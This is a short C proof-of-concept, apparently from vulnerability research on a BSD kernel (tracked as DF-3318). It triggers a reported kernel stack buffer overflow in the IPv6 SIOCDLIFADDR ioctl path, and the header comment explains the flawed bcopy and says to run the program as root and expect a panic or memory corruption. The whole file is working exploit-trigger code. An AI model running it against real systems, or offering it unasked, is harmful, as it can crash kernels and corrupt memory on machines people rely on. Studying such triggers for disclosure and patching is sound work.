/*
 * DF-3318 write-side trigger: run as ROOT (SIOCDLIFADDR is privileged).
 *
 * in6_lifaddr_ioctl() SIOCDLIFADDR path does
 *
 *	struct in6_aliasreq ifra;			// 128-byte stack local
 *	bcopy(&ia->ia_dstaddr, &ifra.ifra_dstaddr,	// offset 44
 *	      ia->ia_dstaddr.sin6_len);			// = 200 (crafted)
 *
 * (sys/netinet6/in6.c:1598-1602) -> writes 200 bytes into a 128-byte
 * stack object => 116 bytes of kernel stack smashed with kernel heap
 * contents read from beyond ia_dstaddr (OOB read) -- kernel stack
 * buffer overflow (CWE-787).
 *
 * Build: cc -O -o delete delete.c
 * Run:   ./delete gif0        (as root; expect panic or corruption)
 */
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	struct if_laddrreq iflr;
	struct sockaddr_in6 *sin6;
	int s;
	const char *ifname = (argc > 1) ? argv[1] : "gif0";

	s = socket(AF_INET6, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); exit(1); }

	memset(&iflr, 0, sizeof(iflr));
	strlcpy(iflr.iflr_name, ifname, sizeof(iflr.iflr_name));

	sin6 = (struct sockaddr_in6 *)&iflr.addr;
	sin6->sin6_len = sizeof(*sin6);
	sin6->sin6_family = AF_INET6;
	inet_pton(AF_INET6, "2001:db8::1", &sin6->sin6_addr);
	iflr.prefixlen = 128;
	iflr.flags = IFLR_PREFIX;

	printf("issuing SIOCDLIFADDR (expect kernel stack smash)...\n");
	fflush(stdout);
	if (ioctl(s, SIOCDLIFADDR, &iflr) < 0) {
		printf("SIOCDLIFADDR returned error: %s\n", strerror(errno));
		return (1);
	}
	printf("SIOCDLIFADDR returned success (no crash)\n");
	return (0);
}
